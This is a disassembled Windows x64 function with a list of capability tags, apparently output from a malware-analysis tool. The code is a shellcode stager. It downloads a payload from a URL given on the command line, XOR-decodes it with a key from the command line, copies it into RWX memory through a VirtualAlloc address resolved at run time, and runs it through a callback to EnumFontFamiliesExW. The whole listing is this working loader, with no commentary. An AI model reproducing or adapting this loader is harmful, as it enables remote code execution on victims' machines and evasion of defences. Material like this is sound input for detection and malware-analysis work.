Function at 0x1400011a0
Capabilities:
Allocate or change rwx memory
Create http request
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov rbx, rdx
cmp ecx, 3
je 0x140001221
lea rdx, str.Usage:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
mov rdx, qword [rbx]
call fcn.140001540
mov rcx, rax
lea rdx, str.__url___xor_key_
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400014a7
mov r12, qword [rdx + 8]
mov rcx, qword [rdx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r15d, eax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
xor esi, esi
mov edi, esi
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_119.0.0.0_Safari_537.36_Edg_119.0.0.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x140001361
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140001333
mov dword [rsp + 0x30], esi
nop dword [rax + rax]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400012f7
mov r9d, dword [rsp + 0x30]
lea r8, [rbp - 0x50]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.1400017c0
cmp dword [rsp + 0x30], 0
ja 0x1400012a0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001384
lea rdx, str.Failed_to_read_file_content
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001384
lea rdx, str.Failed_to_open_URL
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001384
lea rdx, str.Failed_to_initialize_WinInet
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, esi
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
sub r14, rbx
je 0x1400013ad
mov rcx, rsi
nop dword [rax + rax]
xor byte [rcx + rbx], r15b
inc eax
mov ecx, eax
cmp rcx, r14
jb 0x1400013a0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call rax
mov r15, rax
test rax, rax
jne 0x14000140e
lea rdx, str.Failed_to_allocate_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea esi, [r15 + 1]
jmp 0x14000146a
mov r8, r14
mov rdx, rbx
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rcx
mov dword [rbp - 0x58], ecx
mov byte [rsp + 0x67], 1
mov word [rsp + 0x6c], si
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, r15
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
nop
test rbx, rbx
je 0x1400014a5
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14000149a
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000149a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.140001a8c
mov eax, esi
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140001a30
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret